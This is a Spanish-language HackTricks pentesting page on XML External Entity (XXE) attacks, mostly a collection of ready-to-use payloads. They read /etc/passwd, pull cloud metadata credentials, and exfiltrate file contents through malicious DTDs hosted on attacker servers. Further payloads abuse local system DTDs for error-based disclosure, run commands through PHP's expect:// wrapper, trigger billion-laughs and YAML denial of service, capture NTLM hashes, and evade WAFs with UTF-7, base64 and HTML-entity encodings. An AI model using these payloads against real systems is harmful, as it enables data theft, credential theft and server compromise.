hacktricks/pentesting-web/xxe-xee-xml-external-entity.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

43 KiB

XXE - XEE - Entidad Externa XML

Un ataque de Entidad Externa XML (XXE, por sus siglas en inglés) es un tipo de ataque contra una aplicación que analiza una entrada XML.

Conceptos básicos de XML

La mayoría de esta sección fue tomada de la increíble página de Portswigger: https://portswigger.net/web-security/xxe/xml-entities

¿Qué es XML?

XML significa "lenguaje de marcado extensible". XML es un lenguaje diseñado para almacenar y transportar datos. Al igual que HTML, XML utiliza una estructura de árbol de etiquetas y datos. A diferencia de HTML, XML no utiliza etiquetas predefinidas, por lo que las etiquetas pueden recibir nombres que describen los datos. En la historia de la web, XML estuvo de moda como formato de transporte de datos (la "X" en "AJAX" significa "XML"). Pero su popularidad ha disminuido en favor del formato JSON.

¿Qué son las entidades XML?

Las entidades XML son una forma de representar un elemento de datos dentro de un documento XML, en lugar de utilizar los datos en sí mismos. Varias entidades están integradas en la especificación del lenguaje XML. Por ejemplo, las entidades &lt; y &gt; representan los caracteres < y >. Estos son metacaracteres utilizados para denotar etiquetas XML, por lo que generalmente deben representarse utilizando sus entidades cuando aparecen dentro de los datos.

¿Qué son los elementos XML?

Las declaraciones de tipo de elemento establecen las reglas para el tipo y número de elementos que pueden aparecer en un documento XML, qué elementos pueden aparecer dentro de otros y en qué orden deben aparecer. Por ejemplo:

  • <!ELEMENT stockCheck ANY> significa que cualquier objeto podría estar dentro del padre <stockCheck></stockCheck>
  • <!ELEMENT stockCheck EMPTY> significa que debe estar vacío <stockCheck></stockCheck>
  • <!ELEMENT stockCheck (productId,storeId)> declara que <stockCheck> puede tener los hijos <productId> y <storeId>

¿Qué es la definición de tipo de documento?

La definición de tipo de documento XML (DTD) contiene declaraciones que pueden definir la estructura de un documento XML, los tipos de valores de datos que puede contener y otros elementos. La DTD se declara dentro del elemento DOCTYPE opcional al comienzo del documento XML. La DTD puede estar completamente contenida en el documento en sí (conocida como "DTD interna") o puede cargarse desde otro lugar (conocida como "DTD externa") o puede ser una combinación de ambas.

¿Qué son las entidades personalizadas XML?

XML permite definir entidades personalizadas dentro de la DTD. Por ejemplo:

<!DOCTYPE foo [ <!ENTITY myentity "mi valor de entidad" > ]>

Esta definición significa que cualquier uso de la referencia de entidad &myentity; dentro del documento XML se reemplazará por el valor definido: "mi valor de entidad".

¿Qué son las entidades externas XML?

Las entidades externas XML son un tipo de entidad personalizada cuya definición se encuentra fuera de la DTD donde se declaran.

La declaración de una entidad externa utiliza la palabra clave SYSTEM y debe especificar una URL desde la cual se debe cargar el valor de la entidad. Por ejemplo:

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>

La URL puede utilizar el protocolo file://, por lo que las entidades externas se pueden cargar desde un archivo. Por ejemplo:

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>

Las entidades externas XML proporcionan el principal medio por el cual surgen los ataques de entidad externa XML (XXE).

¿Qué son las entidades de parámetros XML?

A veces, los ataques XXE utilizando entidades regulares están bloqueados debido a alguna validación de entrada por parte de la aplicación o alguna protección del analizador XML que se está utilizando. En esta situación, es posible que pueda utilizar entidades de parámetros XML en su lugar. Las entidades de parámetros XML son un tipo especial de entidad XML que solo se puede hacer referencia en otro lugar dentro de la DTD. Para los fines presentes, solo necesita saber dos cosas. Primero, la declaración de una entidad de parámetro XML incluye el carácter de porcentaje antes del nombre de la entidad:

<!ENTITY % myparameterentity "mi valor de entidad de parámetro" >

Y segundo, las entidades de parámetros se hacen referencia utilizando el carácter de porcentaje en lugar del ampersand habitual: %myparameterentity;

Esto significa que puede probar XXE ciego utilizando la detección fuera de banda a través de entidades de parámetros XML de la siguiente manera:

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>

Esta carga útil XXE declara una entidad de parámetro XML llamada xxe y luego utiliza la entidad dentro de la DTD. Esto provocará una búsqueda DNS y una solicitud HTTP al dominio del atacante, verificando que el ataque fue exitoso.

Ataques principales

La mayoría de estos ataques fueron probados utilizando los increíbles laboratorios XEE de Portswiggers: https://portswigger.net/web-security/xxe

Prueba de nueva entidad

En este ataque voy a probar si una simple declaración de NUEVA ENTIDAD funciona.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
    <productId>&toreplace;</productId>
    <storeId>1</storeId>
</stockCheck>

Leer archivo

Intentemos leer /etc/passwd de diferentes maneras. Para Windows, podrías intentar leer: C:\windows\system32\drivers\etc\hosts

En este primer caso, ten en cuenta que SYSTEM "**file:///**etc/passwd" también funcionará.

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>

Este segundo caso puede ser útil para extraer un archivo si el servidor web está utilizando PHP (no es el caso de Portswiggers labs).

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>

En este tercer caso, observe que estamos declarando el Elemento stockCheck como ANY.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
    <productId>&file;</productId>
    <storeId>1</storeId>
</stockCheck3>

Listado de directorios

En aplicaciones basadas en Java puede ser posible listar el contenido de un directorio a través de XXE con una carga útil como la siguiente (solo pidiendo el directorio en lugar del archivo):

<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>

<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>

SSRF

Un XXE podría ser utilizado para abusar de un SSRF dentro de una nube.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

SSRF Ciego

Utilizando la técnica comentada anteriormente puedes hacer que el servidor acceda a un servidor que controlas para mostrar que es vulnerable. Pero, si eso no funciona, tal vez sea porque no se permiten entidades XML, en ese caso podrías intentar usar entidades de parámetros XML:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

SSRF "ciego" - Exfiltrar datos fuera de banda

En esta ocasión haremos que el servidor cargue una nueva DTD con una carga maliciosa que enviará el contenido de un archivo a través de una solicitud HTTP (para archivos de varias líneas, se podría intentar exfiltrar a través de ftp://). Esta explicación fue tomada de Portswiggers lab aquí.

Un ejemplo de una DTD maliciosa para exfiltrar el contenido del archivo /etc/hostname es el siguiente:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

Esta DTD lleva a cabo los siguientes pasos:

  • Define una entidad de parámetro XML llamada file, que contiene el contenido del archivo /etc/passwd.
  • Define una entidad de parámetro XML llamada eval, que contiene una declaración dinámica de otra entidad de parámetro XML llamada exfiltrate. La entidad exfiltrate será evaluada haciendo una solicitud HTTP al servidor web del atacante que contiene el valor de la entidad file dentro de la cadena de consulta de la URL.
  • Utiliza la entidad eval, lo que provoca que se realice la declaración dinámica de la entidad exfiltrate.
  • Utiliza la entidad exfiltrate, de modo que su valor se evalúa solicitando la URL especificada.

El atacante debe alojar la DTD maliciosa en un sistema que controle, normalmente cargándola en su propio servidor web. Por ejemplo, el atacante podría servir la DTD maliciosa en la siguiente URL:
http://web-attacker.com/malicious.dtd

Finalmente, el atacante debe enviar la siguiente carga útil XXE a la aplicación vulnerable:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Este payload XXE declara una entidad de parámetro XML llamada xxe y luego utiliza la entidad dentro del DTD. Esto hará que el analizador XML busque el DTD externo en el servidor del atacante e interprete su contenido. Los pasos definidos dentro del DTD malicioso se ejecutarán y el archivo /etc/passwd será transmitido al servidor del atacante.

Basado en errores (DTD externo)

En este caso, vamos a hacer que el servidor cargue un DTD malicioso que mostrará el contenido de un archivo dentro de un mensaje de error (esto solo es válido si se pueden ver los mensajes de error). Ejemplo de aquí.

Puede provocar un mensaje de error de análisis XML que contenga el contenido del archivo /etc/passwd utilizando un DTD externo malicioso de la siguiente manera:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

Esta DTD lleva a cabo los siguientes pasos:

  • Define una entidad de parámetro XML llamada file, que contiene el contenido del archivo /etc/passwd.
  • Define una entidad de parámetro XML llamada eval, que contiene una declaración dinámica de otra entidad de parámetro XML llamada error. La entidad error se evaluará cargando un archivo inexistente cuyo nombre contiene el valor de la entidad file.
  • Utiliza la entidad eval, lo que provoca que se realice la declaración dinámica de la entidad error.
  • Utiliza la entidad error, de modo que su valor se evalúa intentando cargar el archivo inexistente, lo que resulta en un mensaje de error que contiene el nombre del archivo inexistente, que es el contenido del archivo /etc/passwd.

Invoca el error de DTD externo con:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Y deberías ver el contenido del archivo dentro del mensaje de error de respuesta del servidor web.

Ten en cuenta que la DTD externa nos permite incluir una entidad dentro de la segunda (eval), pero está prohibido en la DTD interna. Por lo tanto, no se puede forzar un error sin usar una DTD externa (por lo general).

Basado en errores (DTD del sistema)

¿Qué pasa con las vulnerabilidades ciegas de XXE cuando se bloquean las interacciones fuera de banda (las conexiones externas no están disponibles)?. Información de aquí.

En esta situación, todavía puede ser posible desencadenar mensajes de error que contengan datos sensibles, debido a una laguna en la especificación del lenguaje XML. Si la DTD de un documento utiliza una combinación de declaraciones DTD internas y externas, entonces la DTD interna puede redefinir entidades que se declaran en la DTD externa. Cuando esto sucede, se relaja la restricción de usar una entidad de parámetro XML dentro de la definición de otra entidad de parámetro.

Esto significa que un atacante puede emplear la técnica de XXE basada en errores desde dentro de una DTD interna, siempre que la entidad de parámetro XML que utilice esté redefiniendo una entidad que se declara dentro de una DTD externa. Por supuesto, si se bloquean las conexiones fuera de banda, entonces la DTD externa no se puede cargar desde una ubicación remota. En su lugar, debe ser un archivo DTD externo que esté local en el servidor de la aplicación. Básicamente, el ataque implica invocar un archivo DTD que existe en el sistema de archivos local y reutilizarlo para redefinir una entidad existente de una manera que desencadene un error de análisis que contenga datos sensibles.

Por ejemplo, supongamos que hay un archivo DTD en el sistema de archivos del servidor en la ubicación /usr/local/app/schema.dtd, y este archivo DTD define una entidad llamada custom_entity. Un atacante puede desencadenar un mensaje de error de análisis XML que contenga el contenido del archivo /etc/passwd enviando una DTD híbrida como la siguiente:

<!DOCTYPE foo [
    <!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
    <!ENTITY % custom_entity '
        <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
    '>
    %local_dtd;
]>

Esta DTD lleva a cabo los siguientes pasos:

  • Define una entidad de parámetro XML llamada local_dtd, que contiene el contenido del archivo DTD externo que existe en el sistema de archivos del servidor.

  • Redefine la entidad de parámetro XML llamada custom_entity, que ya está definida en el archivo DTD externo. La entidad se redefine como que contiene el exploit XXE basado en errores que ya se describió, para desencadenar un mensaje de error que contiene el contenido del archivo /etc/passwd.

  • Utiliza la entidad local_dtd, de modo que se interpreta el DTD externo, incluido el valor redefinido de la entidad custom_entity. Esto da como resultado el mensaje de error deseado.

    Ejemplo del mundo real: Los sistemas que utilizan el entorno de escritorio GNOME a menudo tienen un DTD en /usr/share/yelp/dtd/docbookx.dtd que contiene una entidad llamada ISOamso.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % ISOamso '
        <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
    '>
    %local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Como esta técnica utiliza un DTD interno, primero necesitas encontrar uno válido. Puedes hacer esto instalando el mismo SO / Software que está usando el servidor y buscando algunos DTD predeterminados, o obteniendo una lista de DTDs predeterminados dentro de los sistemas y verificando si alguno de ellos existe:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>

Encontrando DTDs dentro del sistema

En el siguiente repositorio de Github puedes encontrar rutas de DTDs que pueden estar presentes en el sistema:

{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}

Además, si tienes la imagen Docker del sistema víctima, puedes usar la herramienta del mismo repositorio para escanear la imagen y encontrar la ruta de DTDs presentes dentro del sistema. Lee el Readme del github para aprender cómo hacerlo.

java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar

Scanning TAR file /tmp/dadocker.tar

 [=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []

 [=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []

XXE a través de Analizadores de Office Open XML

(Mencionado aquí)
Muchas aplicaciones web permiten subir documentos de Microsoft Office, y luego analizan algunos detalles de ellos. Por ejemplo, puede haber una aplicación web que permita importar datos subiendo una hoja de cálculo en formato XLSX. En algún momento, para que el analizador extraiga los datos de la hoja de cálculo, el analizador necesitará analizar al menos un archivo XML.

La única forma de probar esto es generar un archivo de Microsoft Office que contenga una carga útil XXE, así que hagámoslo. Primero, crea un directorio vacío para descomprimir tu documento, ¡y descomprímelo!

test$ ls
test.docx
test$ mkdir unzipped
test$ unzip ./test.docx -d ./unzipped/
Archive:  ./test.docx
  inflating: ./unzipped/word/numbering.xml
  inflating: ./unzipped/word/settings.xml
  inflating: ./unzipped/word/fontTable.xml
  inflating: ./unzipped/word/styles.xml
  inflating: ./unzipped/word/document.xml
  inflating: ./unzipped/word/_rels/document.xml.rels
  inflating: ./unzipped/_rels/.rels
  inflating: ./unzipped/word/theme/theme1.xml
  inflating: ./unzipped/[Content_Types].xml

Abre ./unzipped/word/document.xml en tu editor de texto favorito (vim) y edita el XML para incluir tu carga útil XXE favorita. Lo primero que suelo probar es una solicitud HTTP, como esta:

<!DOCTYPE x [ <!ENTITY test SYSTEM "http://[ID].burpcollaborator.net/"> ]>
<x>&test;</x>

Esas líneas deben ser insertadas entre los dos objetos XML raíz, como se muestra a continuación, y por supuesto, deberá reemplazar la URL por una URL que pueda monitorear las solicitudes:

Esas líneas deben ser insertadas entre los dos objetos XML raíz, como se muestra a continuación

Todo lo que queda es comprimir el archivo para crear su archivo malicioso poc.docx. Desde el directorio "descomprimido" que creamos anteriormente, ejecute lo siguiente:

Desde el directorio "descomprimido" que creamos anteriormente, ejecute lo siguiente:

Ahora cargue el archivo en su aplicación web (con suerte) vulnerable y rece a los dioses del hacking por una solicitud en sus registros de Burp Collaborator.

Protocolo Jar

El protocolo jar solo está disponible en aplicaciones Java. Permite acceder a archivos dentro de un archivo PKZIP (.zip, .jar, ...) y funciona para archivos locales y remotos:

jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt

{% hint style="danger" %} Acceder a archivos dentro de archivos PKZIP es muy útil para abusar de XXE a través de archivos DTD del sistema. Consulta esta sección para aprender cómo abusar de los archivos DTD del sistema. {% endhint %}

Detrás de las escenas

  1. Realiza una solicitud HTTP para cargar el archivo zip. https://download.host.com/myarchive.zip
  2. Guarda la respuesta HTTP en una ubicación temporal. /tmp/...
  3. Extrae el archivo.
  4. Lee el archivo file.zip.
  5. Elimina los archivos temporales.

Ten en cuenta que es posible detener el flujo en el segundo paso. El truco es nunca cerrar la conexión al servir el archivo. Estas herramientas pueden ser útiles: una en python slow_http_server.py y otra en java slowserver.jar.

Una vez que el servidor haya descargado tu archivo, debes encontrar su ubicación navegando por el directorio temporal. Al ser aleatoria, la ruta del archivo no se puede predecir de antemano.

Jar

{% hint style="danger" %} Escribir archivos en un directorio temporal puede ayudar a escalar otra vulnerabilidad que involucre una traversía de ruta (como la inclusión de archivos locales, la inyección de plantillas, la RCE de XSLT, la deserialización, etc.). {% endhint %}

XSS

<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>

DoS

Ataque de las Mil Carcajadas

<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

Ataque Yaml

a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]

Ataque de inflado cuadrático

Obteniendo NTML

En hosts de Windows es posible obtener el hash NTML del usuario del servidor web configurando un manejador responder.py:

Responder.py -I eth0 -v

y enviando la siguiente petición

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>

Superficies XXE Ocultas

XInclude

Desde aquí.

Algunas aplicaciones reciben datos enviados por el cliente, los incrustan en el lado del servidor en un documento XML y luego analizan el documento. Un ejemplo de esto ocurre cuando los datos enviados por el cliente se colocan en una solicitud SOAP de backend, que luego es procesada por el servicio SOAP de backend.

En esta situación, no se puede llevar a cabo un ataque XXE clásico, porque no se controla todo el XML y, por lo tanto, no se puede definir o modificar un elemento DOCTYPE. Sin embargo, es posible que se pueda utilizar XInclude. XInclude es una parte de la especificación XML que permite construir un documento XML a partir de subdocumentos. Puede colocar un ataque XInclude dentro de cualquier valor de datos en un documento XML, por lo que el ataque se puede realizar en situaciones en las que solo se controla un único elemento de datos que se coloca en un documento XML del lado del servidor.

Para realizar un ataque XInclude, debe hacer referencia al espacio de nombres XInclude y proporcionar la ruta al archivo que desea incluir. Por ejemplo:

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

SVG - Carga de archivos

Desde aquí.

Algunas aplicaciones permiten a los usuarios cargar archivos que luego son procesados en el servidor. Algunos formatos de archivo comunes utilizan XML o contienen subcomponentes XML. Ejemplos de formatos basados en XML son los formatos de documentos de oficina como DOCX y los formatos de imagen como SVG.

Por ejemplo, una aplicación podría permitir a los usuarios cargar imágenes y procesarlas o validarlas en el servidor después de que se cargan. Incluso si la aplicación espera recibir un formato como PNG o JPEG, la biblioteca de procesamiento de imágenes que se está utilizando podría admitir imágenes SVG. Dado que el formato SVG utiliza XML, un atacante puede enviar una imagen SVG maliciosa y así llegar a una superficie de ataque oculta para las vulnerabilidades XXE.

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>

También se puede intentar ejecutar comandos utilizando el envoltorio "expect" de PHP:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
    <image xlink:href="expect://ls"></image>
</svg>

Nota: la primera línea del archivo leído o del resultado de la ejecución aparecerá DENTRO de la imagen creada. Por lo tanto, es necesario poder acceder a la imagen que SVG ha creado.

PDF - Subida de archivos

Lea el siguiente post para aprender cómo explotar una XXE subiendo un archivo PDF:

{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %} pdf-upload-xxe-and-cors-bypass.md {% endcontent-ref %}

Content-Type: De x-www-urlencoded a XML

Si una solicitud POST acepta los datos en formato XML, se podría intentar explotar una XXE en esa solicitud. Por ejemplo, si una solicitud normal contiene lo siguiente:

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

Entonces, es posible que puedas enviar la siguiente solicitud, con el mismo resultado:

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

Content-Type: De JSON a XEE

Para cambiar la solicitud, puedes usar una extensión de Burp llamada "Content Type Converter". Aquí puedes encontrar este ejemplo:

Content-Type: application/json;charset=UTF-8

{"root": {"root": {
  "firstName": "Avinash",
  "lastName": "",
  "country": "United States",
  "city": "ddd",
  "postalCode": "ddd"
}}}
Content-Type: application/xml;charset=UTF-8

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]> 
<root>
 <root>
  <firstName>&xxe;</firstName>
  <lastName/>
  <country>United States</country>
  <city>ddd</city>
  <postalCode>ddd</postalCode>
 </root>
</root>

Otro ejemplo se puede encontrar aquí.

Bypasses de WAF y Protecciones

Base64

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

Esto solo funciona si el servidor XML acepta el protocolo data://.

UTF-7

Puedes usar la ["Receta de codificación" de CyberChef aquí ]([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to) para transformar a UTF-7.

<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

Bypass del protocolo file:/

Si la página web está utilizando PHP, en lugar de utilizar file:/ puedes utilizar los envoltorios de PHP php://filter/convert.base64-encode/resource= para acceder a archivos internos.

Si la página web está utilizando Java, puedes comprobar el protocolo jar.

Entidades HTML

Truco de https://github.com/Ambrotd/XXE-Notes
Puedes crear una entidad dentro de una entidad codificándola con entidades HTML y luego llamarla para cargar un dtd.
Ten en cuenta que las entidades HTML utilizadas deben ser numéricas (como en este ejemplo: [enlace]([https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric%20entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\)).

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
    <env>&exfil;</env>
</data>

Ejemplo de DTD:

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;

Envoltorios PHP

Base64

Extraer index.php

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>

Extraer recurso externo

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>

Ejecución remota de código

Si el módulo "expect" de PHP está cargado

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
    <user>&xxe;</user>
    <pass>mypass</pass>
</creds>

SOAP - XEE

SOAP (Simple Object Access Protocol) es un protocolo de comunicación basado en XML que se utiliza para intercambiar información estructurada entre aplicaciones. Al igual que con otros protocolos basados en XML, SOAP es vulnerable a los ataques XEE (XML External Entity).

Un ataque XEE en SOAP implica la inserción de una entidad externa maliciosa en una solicitud SOAP. Esta entidad externa puede ser utilizada para leer archivos en el servidor o incluso para ejecutar código arbitrario.

Para llevar a cabo un ataque XEE en SOAP, se puede utilizar una herramienta como Burp Suite para interceptar y modificar las solicitudes SOAP. A continuación, se puede insertar una entidad externa maliciosa en la solicitud y enviarla al servidor.

Por ejemplo, la siguiente solicitud SOAP contiene una entidad externa maliciosa que intenta leer el archivo /etc/passwd en el servidor:

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <foo>
      <!DOCTYPE foo [
        <!ELEMENT foo ANY >
        <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
      <bar>&xxe;</bar>
    </foo>
  </soap:Body>
</soap:Envelope>

Para protegerse contra los ataques XEE en SOAP, se deben validar y filtrar todas las entradas de usuario que se utilizan en las solicitudes SOAP. Además, se deben deshabilitar las entidades externas en las solicitudes SOAP siempre que sea posible.

<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>

XLIFF - XXE

Esta sección fue tomada de https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe
Según Wikipedia:

XLIFF (XML Localization Interchange File Format) es un formato de bitexto basado en XML creado para estandarizar la forma en que se pasan los datos localizables entre y entre herramientas durante un proceso de localización y un formato común para el intercambio de herramientas CAT.

Solicitud ciega

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

El servidor responde con un error:

{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}

Pero obtuvimos una respuesta en Burp Collaborator.

Extrayendo datos a través de Out of Band

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

